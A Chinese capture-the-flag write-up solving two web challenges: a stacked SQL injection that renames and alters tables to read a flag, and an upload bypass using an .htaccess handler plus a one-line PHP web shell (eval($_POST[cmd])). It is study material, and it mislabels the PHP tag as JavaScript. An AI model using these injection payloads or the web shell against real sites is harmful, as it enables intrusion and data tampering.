目录
[强网杯 2019]随便注
1、题目
2、知识点
3、思路
[GXYCTF 2019]BabyUpload
1、题目
2、知识点
3、思路
[强网杯 2019]随便注
1、题目
2、知识点
数据库注入,堆叠注入,更改表名
3、思路
正常提交查询,看看数据回显
加入单引号'
?inject=1'
加上注释符,数据正常回显,说明当前是单引号的闭合问题
?inject=1' --+
判断当前表的字段数,说明当前表的字段数有2个
?inject=1' order by 3 --+
判断回显位置
?inject=1' and select 1,2 --+
发现select这些字段都被过滤了,采用大小写,双写都绕过不了
根据题目提示,存在堆叠注入,尝试一下
堆叠注入原理:
服务器端没有对执行数据库语句进行限制,导致可以执行多条数据库语句,php中的
mysqli_multi_query
函数可以执行多条数据库语句没有对分号(;)进行过滤
改进:
使用
mysqli_query()
函数对分号进行过滤
?inject=1';show databases --+
得到数据库名
还有另外一种方法得到当前数据库的名,这里回显了报错信息,所以使用报错注入函数
?inject=1' and extractvalue(1,concat(0x7e,database())) --+
数据库名:supersqli
判断表名
?inject=1';show tables --+
存在两个表: 1919810931114514、words
判断表的字段
这里表名要使用飘号`,而不是单引号'
1、两者在linux下和windows下不同,linux下不区分,windows下区分
2、在windows下引用数据库、表、索引、列和别名是需要用飘号(`)
?inject=1';show columns from `1919810931114514` --+
?inject=1';show columns from `words` --+
通过之前判断表的字段的有两个,结合这里的字段,判断当前的表为words
现在存在一个问题,select字段不能用,表又是words,不能直接获得flag字段的内容
看别人的wp才知道,alter和rename这两个字段没有被过滤,我们可以将words表改成1919810931114514,再改字段名
poc:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;--+
RENAME TABLE `words` TO `words1` 先将words表名改成words1
RENAME TABLE `1919810931114514` TO `words` 再将1919810931114514改成words
这样改表名才不会冲突
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
将1919810931114514表原来的flag字段名改成id这个名字,这样我们就可以通过搜索id得到flag
show columns from words 查看改完的结果
使用 1' or '1'='1
使用这样的payload是为了闭合 ' 而且不注释掉原本后面数据库的语句
得到flag:NSSCTF{eeaa7910-f2b4-4d94-831b-f5abd8f7c432}
[GXYCTF 2019]BabyUpload
1、题目
2、知识点
文件上传,.htaccess文件的利用
3、思路
这里我们上传一个正常的文件
发现上传不了,jpg、png、jpeg都尝试过了,上传后都是同一结果
经过我的测试,发现是文件内容太大了
重新上传正常图片
将原本的图片内容删掉,随便输入内容,发现可以上传成功,说明对文件大小做了限制
我们尝试上传php文件
发现对后缀名进行了过滤,也对内容进行了过滤
这里发现php的版本为5.6.23,算是比较旧的
尝试上传一个.htaccess文件,这个文件的作用就是可以执行图片里面的php、javascript代码
.htaccess:
<FilesMatch "flag.jpg"> #这一句的内容作用于后面上传的flag.jpg文件
SetHandler application/x-httpd-php
</FilesMatch>
上传成功
因为前面知道会检测文件的内容,php代码不行,我们可以尝试javascript的代码
flag.jpg:
##一句话木马
<script language='php'>eval($_POST[cmd]);</script>
上传成功,使用蚁剑进行连接
原本的url+upload/2acc77dfba671c79863c87009020349c/flag.jpg
在根目录下找到flag文件
得到flag:NSSCTF{d856bb6b-4b7e-48e2-a246-e3ab923562e2}
这篇文章就写到这里了,哪里不懂的或者不足的欢迎批评指正